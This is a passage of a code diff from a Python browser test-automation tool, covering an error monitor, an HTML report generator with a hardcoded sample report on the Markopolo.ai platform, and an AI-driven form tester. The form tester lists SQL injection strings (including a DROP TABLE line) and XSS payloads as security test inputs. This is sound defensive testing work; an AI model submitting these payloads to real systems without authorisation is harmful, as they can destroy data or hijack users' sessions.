+            logger.error(f"Network failure: {error_info.error_message}")
+        except Exception as e:
+            logger.error(f"Error handling network failure: {e}")
+    
+    def _handle_network_request(self, event: Dict[str, Any]) -> None:
+        """Handle network requests."""
+        try:
+            request = event.get('request', {})
+            # Log request for debugging
+            logger.debug(f"Network request: {request.get('method', 'GET')} {request.get('url', '')}")
+        except Exception as e:
+            logger.error(f"Error handling network request: {e}")
+    
+    def _handle_dom_update(self, event: Dict[str, Any]) -> None:
+        """Handle DOM updates."""
+        try:
+            # Monitor for DOM-related issues
+            logger.debug("DOM document updated")
+        except Exception as e:
+            logger.error(f"Error handling DOM update: {e}")
+    
+    def _handle_performance_metrics(self, event: Dict[str, Any]) -> None:
+        """Handle performance metrics."""
+        try:
+            metrics = event.get('metrics', [])
+            for metric in metrics:
+                if metric.get('name') == 'TaskDuration' and metric.get('value', 0) > 1000:
+                    error_info = ErrorInfo(
+                        error_type='performance_issue',
+                        error_message=f"Slow task detected: {metric.get('value', 0)}ms",
+                        error_stack='',
+                        timestamp=datetime.now(),
+                        url='',
+                        source='performance',
+                        severity='medium',
+                        context={'metric': metric}
+                    )
+                    self.performance_issues.append(error_info)
+                    self.errors.append(error_info)
+                    logger.warning(f"Performance issue: {error_info.error_message}")
+        except Exception as e:
+            logger.error(f"Error handling performance metrics: {e}")
+    
+    async def get_injected_errors(self, page: Page) -> List[ErrorInfo]:
+        """Get errors from the injected error detection script."""
+        try:
+            errors = await page.evaluate("""
+                () => {
+                    if (window.fagunErrorMonitor) {
+                        return window.fagunErrorMonitor.getErrors();
+                    }
+                    return [];
+                }
+            """)
+            
+            error_infos = []
+            for error in errors:
+                error_info = ErrorInfo(
+                    error_type=error.get('type', 'unknown'),
+                    error_message=error.get('message', 'Unknown error'),
+                    error_stack=error.get('stack', ''),
+                    timestamp=datetime.fromisoformat(error.get('timestamp', datetime.now().isoformat())),
+                    url=error.get('url', ''),
+                    source='injected_script',
+                    severity=self._determine_severity(error.get('type', 'unknown')),
+                    context={'injected_error': error}
+                )
+                error_infos.append(error_info)
+            
+            return error_infos
+            
+        except Exception as e:
+            logger.error(f"Error getting injected errors: {e}")
+            return []
+    
+    def _determine_severity(self, error_type: str) -> str:
+        """Determine error severity based on type."""
+        severity_map = {
+            'javascript_error': 'high',
+            'unhandled_promise_rejection': 'high',
+            'console_error': 'medium',
+            'console_warning': 'low',
+            'resource_error': 'medium',
+            'fetch_error': 'medium',
+            'xhr_error': 'medium',
+            'performance_issue': 'low',
+            'network_error': 'high',
+            'network_failure': 'high'
+        }
+        return severity_map.get(error_type, 'medium')
+    
+    def get_all_errors(self) -> List[ErrorInfo]:
+        """Get all collected errors."""
+        return self.errors
+    
+    def get_errors_by_type(self, error_type: str) -> List[ErrorInfo]:
+        """Get errors by type."""
+        return [error for error in self.errors if error.error_type == error_type]
+    
+    def get_errors_by_severity(self, severity: str) -> List[ErrorInfo]:
+        """Get errors by severity."""
+        return [error for error in self.errors if error.severity == severity]
+    
+    def get_error_summary(self) -> Dict[str, Any]:
+        """Get error summary statistics."""
+        total_errors = len(self.errors)
+        errors_by_type = {}
+        errors_by_severity = {}
+        
+        for error in self.errors:
+            # Count by type
+            errors_by_type[error.error_type] = errors_by_type.get(error.error_type, 0) + 1
+            
+            # Count by severity
+            errors_by_severity[error.severity] = errors_by_severity.get(error.severity, 0) + 1
+        
+        return {
+            'total_errors': total_errors,
+            'errors_by_type': errors_by_type,
+            'errors_by_severity': errors_by_severity,
+            'console_errors': len(self.console_errors),
+            'js_errors': len(self.js_errors),
+            'network_errors': len(self.network_errors),
+            'dom_errors': len(self.dom_errors),
+            'performance_issues': len(self.performance_issues)
+        }
+    
+    def clear_errors(self) -> None:
+        """Clear all collected errors."""
+        self.errors.clear()
+        self.console_errors.clear()
+        self.js_errors.clear()
+        self.network_errors.clear()
+        self.dom_errors.clear()
+        self.performance_issues.clear()
+
+
+# Global error monitor instance
+error_monitor = ErrorMonitor()

src/utils/html_report_generator.py

@@ -0,0 +1,212 @@
+"""
+HTML Report Generator with modern, colorful UI
+"""
+
+import os
+from datetime import datetime
+from typing import Optional
+
+
+def _base_html(title: str, body_html: str) -> str:
+    return f"""
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8" />
+  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+  <title>{title}</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
+  <style>
+    :root {{
+      --bg: #0f172a;
+      --card: #111827;
+      --text: #e5e7eb;
+      --muted: #94a3b8;
+      --primary: #06b6d4;
+      --primary-2: #3b82f6;
+      --ok: #22c55e;
+      --warn: #f59e0b;
+      --crit: #ef4444;
+    }}
+    * {{ box-sizing: border-box; }}
+    body {{ margin: 0; font-family: Inter, system-ui, -apple-system, Segoe UI, Roboto, Arial; background: linear-gradient(180deg, #0b1022, #0f172a); color: var(--text); }}
+    .container {{ max-width: 1080px; margin: 32px auto; padding: 0 16px; }}
+    .header {{ background: radial-gradient(1200px 400px at 20% -10%, rgba(59,130,246,.25), transparent), radial-gradient(900px 400px at 80% 0%, rgba(6,182,212,.25), transparent); border-radius: 16px; padding: 24px; border: 1px solid rgba(255,255,255,.06); }}
+    h1 {{ margin: 0 0 8px; font-size: 28px; font-weight: 700; letter-spacing: .3px; }}
+    .meta {{ color: var(--muted); font-size: 13px; }}
+    .grid {{ display: grid; gap: 16px; grid-template-columns: repeat(12, 1fr); margin-top: 24px; }}
+    .card {{ grid-column: span 12; background: linear-gradient(180deg, #0f172a, #0b1324); border: 1px solid rgba(255,255,255,.06); border-radius: 14px; padding: 18px; }}
+    @media (min-width: 900px) {{ .span-6 {{ grid-column: span 6; }} }}
+    h2 {{ margin: 0 0 12px; font-size: 20px; font-weight: 700; color: #ffffff; }}
+    h3 {{ margin: 16px 0 8px; font-size: 16px; font-weight: 700; color: #ffffff; }}
+    p {{ color: var(--text); line-height: 1.6; margin: 8px 0; }}
+    .status {{ display: inline-block; padding: 2px 8px; border-radius: 999px; font-size: 12px; font-weight: 600; margin-left: 8px; }}
+    .ok {{ background: rgba(34,197,94,.12); color: var(--ok); border: 1px solid rgba(34,197,94,.3); }}
+    .warn {{ background: rgba(245,158,11,.12); color: var(--warn); border: 1px solid rgba(245,158,11,.3); }}
+    .crit {{ background: rgba(239,68,68,.12); color: var(--crit); border: 1px solid rgba(239,68,68,.3); }}
+    ul {{ margin: 8px 0 8px 20px; color: var(--text); }}
+    li {{ margin: 6px 0; }}
+    .pill {{ display:inline-block; padding: 2px 10px; margin: 2px 6px 2px 0; border-radius: 999px; background: rgba(255,255,255,.06); color: var(--muted); font-size: 12px; }}
+    .footer {{ margin-top: 24px; color: var(--muted); font-size: 12px; text-align: center; }}
+    a {{ color: var(--primary-2); text-decoration: none; }}
+    a:hover {{ text-decoration: underline; }}
+  </style>
+</head>
+<body>
+  <div class="container">
+    <div class="header">
+      <h1>{title}</h1>
+      <div class="meta">Generated at {datetime.now().isoformat()}</div>
+    </div>
+    <div class="grid">
+      {body_html}
+    </div>
+    <div class="footer">Fagun AI Testing Agent • Modern HTML Report</div>
+  </div>
+</body>
+</html>
+"""
+
+
+def generate_html_report_file(title: str, body_html: str, output_dir: str = "reports", filename: Optional[str] = None) -> str:
+    os.makedirs(output_dir, exist_ok=True)
+    if not filename:
+        filename = f"report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html"
+    path = os.path.join(output_dir, filename)
+    html = _base_html(title, body_html)
+    with open(path, "w", encoding="utf-8") as f:
+        f.write(html)
+    return path
+
+
+def generate_markopolo_sample_report() -> str:
+    title = "Comprehensive Testing Report for Markopolo.ai Platform"
+    # Body authored as HTML blocks for fidelity
+    sections = [
+        (
+            "Executive Summary",
+            """
+            <p>I have conducted a comprehensive test of the Markopolo.ai platform, focusing on the onboarding process, data connections, integrations, and core modules. The testing revealed several critical issues that prevent full platform functionality, particularly with Shopify integration and data connectivity.</p>
+            """,
+        ),
+        (
+            "Test Results by Module",
+            """
+            <div class="card"><h3>1. Onboarding Process <span class="status warn">Partially Successful</span></h3>
+              <ul>
+                <li>✅ Successfully logged into the platform</li>
+                <li>✅ Initial onboarding screen accessed</li>
+                <li>❌ Onboarding process appeared to be skipped or completed automatically</li>
+                <li>❌ No guided onboarding flow was experienced</li>
+              </ul>
+            </div>
+
+            <div class="card"><h3>2. Dataroom & Data Container <span class="status warn">Mixed Results</span></h3>
+              <h4>Client-side MarkTag</h4>
+              <ul>
+                <li>✅ Successfully connected and active</li>
+                <li>✅ Basic setup completed without issues</li>
+              </ul>
+              <h4>Server-side MarkTag</h4>
+              <ul>
+                <li>❌ <b>Critical Failure</b>: DNS verification failed repeatedly</li>
+                <li>❌ Unable to verify DNS records (CNAME and TXT records)</li>
+                <li>❌ System consistently showed "Records failed to verify"</li>
+                <li><b>Impact</b>: Server-side tracking capabilities unavailable</li>
+              </ul>
+            </div>
+
+            <div class="card"><h3>3. Integrations <span class="status warn">Mixed Results</span></h3>
+              <h4>Email Services</h4>
+              <ul>
+                <li>✅ <b>SendGrid</b>: Successfully connected using provided API key</li>
+                <li>✅ <b>Resend</b>: Already connected and functional</li>
+                <li>❌ <b>Twilio</b>: Failed to validate credentials despite multiple attempts<br/>Error: "Failed to save information!"</li>
+              </ul>
+              <h4>WhatsApp Integration</h4>
+              <ul>
+                <li>❌ <b>Critical Failure</b>: Unable to connect (dependent on Twilio)</li>
+              </ul>
+              <h4>CRM Integrations</h4>
+              <ul>
+                <li>✅ <b>HubSpot</b>: Connected</li>
+                <li>✅ <b>Pipedrive</b>: Connected</li>
+                <li>❌ <b>Salesforce</b>: Connection failed - no credentials</li>
+                <li>❌ <b>Zoho CRM</b>: Connection failed - no credentials</li>
+              </ul>
+            </div>
+
+            <div class="card"><h3>4. Shopify Integration <span class="status crit">Critical Failure</span></h3>
+              <ul>
+                <li>✅ Accessed Shopify connection interface</li>
+                <li>✅ Entered test store URL: <code>testshop.myshopify.com</code></li>
+                <li>✅ Navigated to Shopify login page</li>
+                <li>❌ Unauthorized Access Error upon login attempt</li>
+              </ul>
+              <p><b>Impact</b>: Unable to test Shopify-specific flows (campaigns, discounts, event tracking).</p>
+            </div>
+
+            <div class="card"><h3>5. Users Module <span class="status warn">Partially Tested</span></h3>
+              <ul>
+                <li>✅ Accessed Users interface</li>
+                <li>✅ Download template works</li>
+                <li>❌ Unable to upload leads: File upload requires pre-defined file paths</li>
+              </ul>
+            </div>
+
+            <div class="card"><h3>6. Audience Studio <span class="status warn">Functional but Limited</span></h3>
+              <ul>
+                <li>✅ Interface accessible</li>
+                <li>❌ AI query failure prevented audience creation</li>
+              </ul>
+            </div>
+
+            <div class="card"><h3>7. Analytics Module <span class="status warn">Limited Functionality</span></h3>
+              <ul>
+                <li>✅ Interface accessible</li>
+                <li>❌ No data available; tracking not validated</li>
+              </ul>
+            </div>
+
+            <div class="card"><h3>8. Knowledge Base <span class="status warn">Not Tested</span></h3>
+              <ul><li>❌ Not located during testing</li></ul>
+            </div>
+            """,
+        ),
+        (
+            "Critical Issues Identified",
+            """
+            <ul>
+              <li><b>Shopify Integration</b> – <span class="status crit">Critical</span>: Unauthorized access blocking store connection</li>
+              <li><b>Server-side MarkTag DNS</b> – <span class="status warn">High</span>: DNS verification failing</li>
+              <li><b>Twilio Integration</b> – <span class="status warn">High</span>: Credential validation failing</li>
+              <li><b>Data Connectivity</b> – <span class="status warn">Medium</span>: Multiple integration failures</li>
+            </ul>
+            """,
+        ),
+        (
+            "Recommendations",
+            """
+            <ol>
+              <li><b>Priority 1</b>: Resolve Shopify authentication issues</li>
+              <li><b>Priority 1</b>: Fix Twilio credential validation</li>
+              <li><b>Priority 2</b>: Address server-side MarkTag DNS verification</li>
+              <li><b>Priority 2</b>: Improve error messaging and user guidance</li>
+              <li><b>Priority 3</b>: Validate file upload flow with proper file handling</li>
+            </ol>
+            """,
+        ),
+        (
+            "Conclusion",
+            """
+            <p><b>Overall Platform Readiness</b>: <span class="status warn">Limited</span> – key flows blocked by integration failures. Retest end-to-end journey after addressing blockers, especially Shopify.</p>
+            """,
+        ),
+    ]
+
+    body = "".join([f'<div class="card"><h2>{h}</h2>{c}</div>' for h, c in sections])
+    return generate_html_report_file(title, body, output_dir="reports", filename=f"markopolo_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.html")
+
+

src/utils/intelligent_form_testing.py

@@ -0,0 +1,1096 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Intelligent Form Testing
+====================================================================
+
+Advanced AI-powered form testing with comprehensive scenario coverage.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import asyncio
+import logging
+import random
+import string
+from typing import Dict, List, Optional, Tuple, Any
+from dataclasses import dataclass
+from datetime import datetime
+import json
+
+from playwright.async_api import Page, Locator, Error as PlaywrightError
+from langchain_core.language_models.chat_models import BaseChatModel
+
+from src.utils.advanced_error_handler import AdvancedErrorHandler, DetailedError
+
+logger = logging.getLogger(__name__)
+
+@dataclass
+class FormField:
+    """Represents a form field with its properties and testing data."""
+    element: Locator
+    field_type: str
+    name: str
+    placeholder: str
+    required: bool
+    validation_pattern: Optional[str] = None
+    min_length: Optional[int] = None
+    max_length: Optional[int] = None
+    options: List[str] = None
+
+@dataclass
+class TestScenario:
+    """Represents a test scenario with input data and expected behavior."""
+    name: str
+    data: Dict[str, Any]
+    expected_result: str
+    description: str
+    priority: int = 1  # 1=high, 2=medium, 3=low
+
+@dataclass
+class TestResult:
+    """Represents the result of a test scenario."""
+    scenario: TestScenario
+    success: bool
+    actual_result: str
+    error_message: Optional[str] = None
+    screenshot_path: Optional[str] = None
+    timestamp: datetime = None
+
+class IntelligentFormTester:
+    """Advanced AI-powered form testing engine."""
+    
+    def __init__(self, llm: BaseChatModel, page: Page):
+        self.llm = llm
+        self.page = page
+        self.test_results: List[TestResult] = []
+        self.form_fields: List[FormField] = []
+        self.error_handler = AdvancedErrorHandler(page)
+        self.testing_stats = {
+            "total_tests": 0,
+            "passed_tests": 0,
+            "failed_tests": 0,
+            "skipped_tests": 0,
+            "error_tests": 0
+        }
+        
+        # Test data generators
+        self.valid_emails = [
+            "test@example.com",
+            "user@domain.org",
+            "admin@company.net",
+            "support@website.com"
+        ]
+        
+        self.invalid_emails = [
+            "invalid-email",
+            "@domain.com",
+            "user@",
+            "user..name@domain.com",
+            "user@domain",
+            "user name@domain.com",
+            "user@domain..com"
+        ]
+        
+        self.valid_passwords = [
+            "Password123!",
+            "SecurePass456@",
+            "MyPassword789#",
+            "TestPass2024$"
+        ]
+        
+        self.invalid_passwords = [
+            "",  # Empty
+            "123",  # Too short
+            "password",  # No numbers/special chars
+            "PASSWORD",  # No lowercase
+            "Password",  # No numbers/special chars
+            "a" * 1000,  # Too long
+            "pass word",  # Contains space
+            "pass\tword",  # Contains tab
+            "pass\nword"  # Contains newline
+        ]
+        
+        self.edge_case_data = {
+            "sql_injection": [
+                "'; DROP TABLE users; --",
+                "' OR '1'='1",
+                "admin'--",
+                "' UNION SELECT * FROM users --"
+            ],
+            "xss_attempts": [
+                "<script>alert('XSS')</script>",
+                "javascript:alert('XSS')",
+                "<img src=x onerror=alert('XSS')>",
+                "';alert('XSS');//"
+            ],
+            "special_characters": [
+                "!@#$%^&*()_+-=[]{}|;':\",./<>?",
+                "测试用户",
+                "مستخدم_اختبار",
+                "тестовый_пользователь"
+            ],
+            "boundary_values": [
+                "a" * 1,  # Minimum length
+                "a" * 255,  # Maximum typical length
+                "a" * 1000,  # Very long
+                " " * 10,  # Only spaces
+                "\t\n\r" * 5  # Control characters
+            ]
+        }
+
+    async def discover_form_fields(self) -> List[FormField]:
+        """Intelligently discover and analyze form fields on the page."""
+        logger.info("🔍 Starting intelligent form field discovery...")
+        
+        form_fields = []
+        
+        # Find all input fields
+        inputs = await self.page.locator("input").all()
+        
+        for input_elem in inputs:
+            try:
+                field_type = await input_elem.get_attribute("type") or "text"
+                name = await input_elem.get_attribute("name") or ""
+                placeholder = await input_elem.get_attribute("placeholder") or ""
+                required = await input_elem.get_attribute("required") is not None
+                
+                # Get validation attributes
+                pattern = await input_elem.get_attribute("pattern")
+                min_length = await input_elem.get_attribute("minlength")
+                max_length = await input_elem.get_attribute("maxlength")
+                
+                # Convert to appropriate types
+                min_length = int(min_length) if min_length else None
+                max_length = int(max_length) if max_length else None
+                
+                # Get select options if it's a select field
+                options = []
+                if field_type == "select-one" or field_type == "select-multiple":
+                    option_elements = await input_elem.locator("option").all()
+                    for opt in option_elements:
+                        value = await opt.get_attribute("value")
+                        text = await opt.text_content()
+                        if value:
+                            options.append(value)
+                        elif text:
+                            options.append(text.strip())
+                
+                field = FormField(
+                    element=input_elem,
+                    field_type=field_type,
+                    name=name,
+                    placeholder=placeholder,
+                    required=required,
+                    validation_pattern=pattern,
+                    min_length=min_length,
+                    max_length=max_length,
+                    options=options if options else None
+                )
+                
+                form_fields.append(field)
+                logger.info(f"📝 Discovered field: {field_type} - {name} ({placeholder})")
+                
+            except Exception as e:
+                # Use advanced error handler for detailed error information
+                detailed_error = await self.error_handler.handle_action_error(
+                    error=e,
+                    action="discover_form_field",
+                    element_index=len(form_fields),
+                    element_selector="input",
+                    input_value=None
+                )
+                logger.warning(f"⚠️ Error analyzing input field: {detailed_error.suggested_fix}")
+                continue
+        
+        # Find textarea fields
+        textareas = await self.page.locator("textarea").all()
+        for textarea in textareas:
+            try:
+                name = await textarea.get_attribute("name") or ""
+                placeholder = await textarea.get_attribute("placeholder") or ""
+                required = await textarea.get_attribute("required") is not None
+                
+                field = FormField(
+                    element=textarea,
+                    field_type="textarea",
+                    name=name,
+                    placeholder=placeholder,
+                    required=required
+                )
+                
+                form_fields.append(field)
+                logger.info(f"📝 Discovered textarea: {name} ({placeholder})")
+                
+            except Exception as e:
+                logger.warning(f"⚠️ Error analyzing textarea: {e}")
+                continue
+
+        # Find select fields
+        selects = await self.page.locator("select").all()
+        for select in selects:
+            try:
+                name = await select.get_attribute("name") or ""
+                placeholder = await select.get_attribute("aria-label") or ""
+                required = await select.get_attribute("required") is not None
+
+                options: List[str] = []
+                try:
+                    option_elements = await select.locator("option").all()
+                    for opt in option_elements:
+                        value = await opt.get_attribute("value")
+                        text = await opt.text_content()
+                        if value:
+                            options.append(value)
+                        elif text:
+                            options.append(text.strip())
+                except Exception as e:
+                    logger.debug(f"Failed to read select options: {e}")
+
+                field = FormField(
+                    element=select,
+                    field_type="select",
+                    name=name,
+                    placeholder=placeholder,
+                    required=required,
+                    options=options if options else None
+                )
+
+                form_fields.append(field)
+                logger.info(f"📝 Discovered select: {name} (options={len(options)})")
+
+            except Exception as e:
+                logger.warning(f"⚠️ Error analyzing select: {e}")
+                continue
+        
+        self.form_fields = form_fields
+        logger.info(f"✅ Form discovery complete: {len(form_fields)} fields found")
+        return form_fields
+
+    async def generate_test_scenarios(self) -> List[TestScenario]:
+        """Generate comprehensive test scenarios based on discovered fields."""
+        logger.info("🧠 Generating intelligent test scenarios...")
+        
+        scenarios = []
+        
+        for field in self.form_fields:
+            field_scenarios = await self._generate_field_scenarios(field)
+            scenarios.extend(field_scenarios)
+        
+        # Add cross-field validation scenarios
+        cross_field_scenarios = await self._generate_cross_field_scenarios()
+        scenarios.extend(cross_field_scenarios)
+        
+        # Add security testing scenarios
+        security_scenarios = await self._generate_security_scenarios()
+        scenarios.extend(security_scenarios)
+        
+        logger.info(f"✅ Generated {len(scenarios)} test scenarios")
+        return scenarios
+
+    async def _generate_field_scenarios(self, field: FormField) -> List[TestScenario]:
+        """Generate test scenarios for a specific field."""
+        scenarios = []
+        
+        # Determine appropriate test data based on field type
+        if field.field_type in ["email", "text"] and "email" in field.name.lower():
+            # Email field scenarios
+            scenarios.extend([
+                TestScenario(
+                    name=f"Valid Email - {field.name}",
+                    data={field.name: random.choice(self.valid_emails)},
+                    expected_result="success",
+                    description="Test with valid email format",
+                    priority=1
+                ),
+                TestScenario(
+                    name=f"Invalid Email - {field.name}",
+                    data={field.name: random.choice(self.invalid_emails)},
+                    expected_result="validation_error",
+                    description="Test with invalid email format",
+                    priority=1
+                ),
+                TestScenario(
+                    name=f"Empty Email - {field.name}",
+                    data={field.name: ""},
+                    expected_result="required_error" if field.required else "success",
+                    description="Test with empty email field",
+                    priority=1
+                )
+            ])
+            
+        elif field.field_type == "password":
+            # Password field scenarios
+            scenarios.extend([
+                TestScenario(
+                    name=f"Valid Password - {field.name}",
+                    data={field.name: random.choice(self.valid_passwords)},
+                    expected_result="success",
+                    description="Test with valid password",
+                    priority=1
+                ),
+                TestScenario(
+                    name=f"Invalid Password - {field.name}",
+                    data={field.name: random.choice(self.invalid_passwords)},
+                    expected_result="validation_error",
+                    description="Test with invalid password",
+                    priority=1
+                ),
+                TestScenario(
+                    name=f"Empty Password - {field.name}",
+                    data={field.name: ""},
+                    expected_result="required_error" if field.required else "success",
+                    description="Test with empty password field",
+                    priority=1
+                )
+            ])
+            
+        elif field.field_type in ["text", "textarea"]:
+            # General text field scenarios
+            scenarios.extend([
+                TestScenario(
+                    name=f"Valid Text - {field.name}",
+                    data={field.name: "Valid Test Data"},
+                    expected_result="success",
+                    description="Test with valid text input",
+                    priority=2
+                ),
+                TestScenario(
+                    name=f"Empty Text - {field.name}",
+                    data={field.name: ""},
+                    expected_result="required_error" if field.required else "success",
+                    description="Test with empty text field",
+                    priority=1
+                ),
+                TestScenario(
+                    name=f"Special Characters - {field.name}",
+                    data={field.name: random.choice(self.edge_case_data["special_characters"])},
+                    expected_result="validation_error",
+                    description="Test with special characters",
+                    priority=2
+                )
+            ])
+
+            # i18n, emoji, RTL, whitespace
+            scenarios.extend([
+                TestScenario(
+                    name=f"Unicode i18n - {field.name}",
+                    data={field.name: "测试 – تجربة – тест – परीक्षण"},
+                    expected_result="success",
+                    description="International characters input",
+                    priority=2
+                ),
+                TestScenario(
+                    name=f"Emoji Input - {field.name}",
+                    data={field.name: "😀🔥✨🚀"},
+                    expected_result="success",
+                    description="Emoji characters",
+                    priority=3
+                ),
+                TestScenario(
+                    name=f"RTL Text - {field.name}",
+                    data={field.name: "مرحبا بالعالم"},
+                    expected_result="success",
+                    description="Right-to-left language",
+                    priority=3
+                ),
+                TestScenario(
+                    name=f"Whitespace Only - {field.name}",
+                    data={field.name: "     "},
+                    expected_result="validation_error" if field.required else "success",
+                    description="Spaces only",
+                    priority=2
+                )
+            ])
+
+        elif field.field_type in ["number"]:
+            scenarios.extend([
+                TestScenario(
+                    name=f"Valid Number - {field.name}",
+                    data={field.name: "123"},
+                    expected_result="success",
+                    description="Valid numeric input",
+                    priority=2
+                ),
+                TestScenario(
+                    name=f"Negative Number - {field.name}",
+                    data={field.name: "-5"},
+                    expected_result="validation_error",
+                    description="Negative value",
+                    priority=2
+                ),
+                TestScenario(
+                    name=f"Non-numeric - {field.name}",
+                    data={field.name: "abc"},
+                    expected_result="validation_error",
+                    description="Alphabetic in number field",
+                    priority=1
+                )
+            ])
+
+        elif field.field_type in ["url"]:
+            scenarios.extend([
+                TestScenario(
+                    name=f"Valid URL - {field.name}",
+                    data={field.name: "https://example.com"},
+                    expected_result="success",
+                    description="Valid URL",
+                    priority=2
+                ),
+                TestScenario(
+                    name=f"Invalid URL - {field.name}",
+                    data={field.name: "htp:/bad"},
+                    expected_result="validation_error",
+                    description="Malformed URL",
+                    priority=1
+                )
+            ])
+
+        elif field.field_type in ["tel"]:
+            scenarios.extend([
+                TestScenario(
+                    name=f"Valid Tel - {field.name}",
+                    data={field.name: "+1-202-555-0188"},
+                    expected_result="success",
+                    description="Valid phone",
+                    priority=3
+                ),
+                TestScenario(
+                    name=f"Invalid Tel - {field.name}",
+                    data={field.name: "abcd-123"},
+                    expected_result="validation_error",
+                    description="Invalid phone",
+                    priority=2
+                )
+            ])
+
+        elif field.field_type in ["date", "time", "datetime-local", "month", "week"]:
+            scenarios.extend([
+                TestScenario(
+                    name=f"Valid {field.field_type} - {field.name}",
+                    data={field.name: "2025-01-15" if field.field_type=="date" else ("12:34" if field.field_type=="time" else "2025-01-15T12:34")},
+                    expected_result="success",
+                    description="Valid date/time",
+                    priority=3
+                ),
+                TestScenario(
+                    name=f"Invalid {field.field_type} - {field.name}",
+                    data={field.name: "invalid"},
+                    expected_result="validation_error",
+                    description="Invalid date/time format",
+                    priority=2
+                )
+            ])
+
+        elif field.field_type in ["checkbox"]:
+            scenarios.extend([
+                TestScenario(
+                    name=f"Check Checkbox - {field.name}",
+                    data={field.name: True},
+                    expected_result="success",
+                    description="Toggle on",
+                    priority=3
+                ),
+                TestScenario(
+                    name=f"Uncheck Checkbox - {field.name}",
+                    data={field.name: False},
+                    expected_result="success",
+                    description="Toggle off",
+                    priority=3
+                )
+            ])
+
+        elif field.field_type in ["radio"]:
+            scenarios.append(TestScenario(
+                name=f"Select Radio - {field.name}",
+                data={field.name: True},
+                expected_result="success",
+                description="Select radio option",
+                priority=3
+            ))
+
+        elif field.field_type in ["file"]:
+            scenarios.extend([
+                TestScenario(
+                    name=f"Upload Small File - {field.name}",
+                    data={field.name: "./tmp/test-small.txt"},
+                    expected_result="success",
+                    description="Upload small text file",
+                    priority=2
+                ),
+                TestScenario(
+                    name=f"Upload Large File - {field.name}",
+                    data={field.name: "./tmp/test-large.bin"},
+                    expected_result="validation_error",
+                    description="Upload large file beyond limit (if enforced)",
+                    priority=2
+                )
+            ])
+        
+        # Add boundary testing
+        if field.min_length or field.max_length:
+            scenarios.extend(await self._generate_boundary_scenarios(field))
+        
+        return scenarios
+
+    async def _generate_boundary_scenarios(self, field: FormField) -> List[TestScenario]:
+        """Generate boundary value test scenarios."""
+        scenarios = []
+        
+        if field.min_length:
+            scenarios.append(TestScenario(
+                name=f"Min Length - {field.name}",
+                data={field.name: "a" * (field.min_length - 1)},
+                expected_result="validation_error",
+                description=f"Test with length below minimum ({field.min_length - 1})",
+                priority=1
+            ))
+            
+            scenarios.append(TestScenario(
+                name=f"Exact Min Length - {field.name}",
+                data={field.name: "a" * field.min_length},
+                expected_result="success",
+                description=f"Test with exact minimum length ({field.min_length})",
+                priority=1
+            ))
+        
+        if field.max_length:
+            scenarios.append(TestScenario(
+                name=f"Exact Max Length - {field.name}",
+                data={field.name: "a" * field.max_length},
+                expected_result="success",
+                description=f"Test with exact maximum length ({field.max_length})",
+                priority=1
+            ))
+            
+            scenarios.append(TestScenario(
+                name=f"Exceed Max Length - {field.name}",
+                data={field.name: "a" * (field.max_length + 1)},
+                expected_result="validation_error",
+                description=f"Test with length exceeding maximum ({field.max_length + 1})",
+                priority=1
+            ))
+        
+        return scenarios
+
+    async def _generate_cross_field_scenarios(self) -> List[TestScenario]:
+        """Generate scenarios that test cross-field validation."""
+        scenarios = []
+        
+        # Find email and password fields
+        email_fields = [f for f in self.form_fields if "email" in f.name.lower() and f.field_type in ["email", "text"]]
+        password_fields = [f for f in self.form_fields if f.field_type == "password"]
+        
+        if email_fields and password_fields:
+            # Test with matching valid credentials
+            scenarios.append(TestScenario(
+                name="Valid Login Credentials",
+                data={
+                    email_fields[0].name: random.choice(self.valid_emails),
+                    password_fields[0].name: random.choice(self.valid_passwords)
+                },
+                expected_result="success",
+                description="Test with valid email and password combination",
+                priority=1
+            ))
+            
+            # Test with mismatched credentials
+            scenarios.append(TestScenario(
+                name="Invalid Login Credentials",
+                data={
+                    email_fields[0].name: random.choice(self.valid_emails),
+                    password_fields[0].name: "WrongPassword123!"
+                },
+                expected_result="authentication_error",
+                description="Test with valid email but wrong password",
+                priority=1
+            ))
+        
+        return scenarios
+
+    async def _generate_security_scenarios(self) -> List[TestScenario]:
+        """Generate security testing scenarios."""
+        scenarios = []
+        
+        for field in self.form_fields:
+            if field.field_type in ["text", "email", "password", "textarea"]:
+                # SQL Injection tests
+                for sql_payload in self.edge_case_data["sql_injection"]:
+                    scenarios.append(TestScenario(
+                        name=f"SQL Injection - {field.name}",
+                        data={field.name: sql_payload},
+                        expected_result="security_error",
+                        description=f"Test SQL injection protection for {field.name}",
+                        priority=1
+                    ))
+                
+                # XSS tests
+                for xss_payload in self.edge_case_data["xss_attempts"]:
+                    scenarios.append(TestScenario(
+                        name=f"XSS Attempt - {field.name}",
+                        data={field.name: xss_payload},
+                        expected_result="security_error",
+                        description=f"Test XSS protection for {field.name}",
+                        priority=1
+                    ))
+        
+        return scenarios
+
+    async def execute_test_scenarios(self, scenarios: List[TestScenario]) -> List[TestResult]:
+        """Execute all test scenarios and collect results."""
+        logger.info(f"🚀 Executing {len(scenarios)} test scenarios...")
+        
+        results = []
+        self.testing_stats["total_tests"] = len(scenarios)
+        
+        for i, scenario in enumerate(scenarios, 1):
+            logger.info(f"📋 Running scenario {i}/{len(scenarios)}: {scenario.name}")
+            
+            try:
+                result = await self._execute_single_scenario(scenario)
+                results.append(result)
+                
+                # Update statistics
+                if result.success:
+                    self.testing_stats["passed_tests"] += 1
+                elif result.error_message:
+                    self.testing_stats["error_tests"] += 1
+                else:
+                    self.testing_stats["failed_tests"] += 1
+                
+                # Add delay between tests to avoid overwhelming the server
+                await asyncio.sleep(1)
+                
+            except Exception as e:
+                # Use advanced error handler for detailed error information
+                detailed_error = await self.error_handler.handle_action_error(
+                    error=e,
+                    action="execute_test_scenario",
+                    element_index=None,
+                    element_selector=None,
+                    input_value=scenario.name
+                )
+                
+                logger.error(f"❌ Error executing scenario {scenario.name}: {detailed_error.suggested_fix}")
+                
+                # Attempt error recovery
+                recovery_success = await self.error_handler.attempt_error_recovery(detailed_error)
+                if recovery_success:
